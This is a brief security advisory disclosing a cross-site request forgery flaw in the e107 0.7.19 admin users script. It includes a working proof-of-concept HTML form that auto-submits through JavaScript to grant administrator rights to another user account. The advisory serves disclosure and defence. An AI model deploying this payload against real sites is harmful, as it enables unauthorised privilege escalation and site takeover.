e107 0.7.19 Cross Site Request Forgery

`Vulnerability ID: HTB22344  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_e107.html  
Product: e107 Website System  
Vendor: e107  
Vulnerable Version: 0.7.19 and Probably Prior Versions  
Vendor Notification: 05 April 2010   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the /e107_admin/users.php script to properly verify the source of HTTP request.   
  
Successful exploitation of this vulnerability could result in a compromise of the application, disclosure or modification of sensitive data.   
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:   
  
  
<form method=POST action=http://host/e107_admin/users.php name=main>  
<input type=hidden name=userid value=2>  
<input type=hidden name=userip value=1.2.3.4>  
<input type=hidden name=useraction value=admin>  
</form>  
<script>  
document.main.submit();  
</script>  
  
`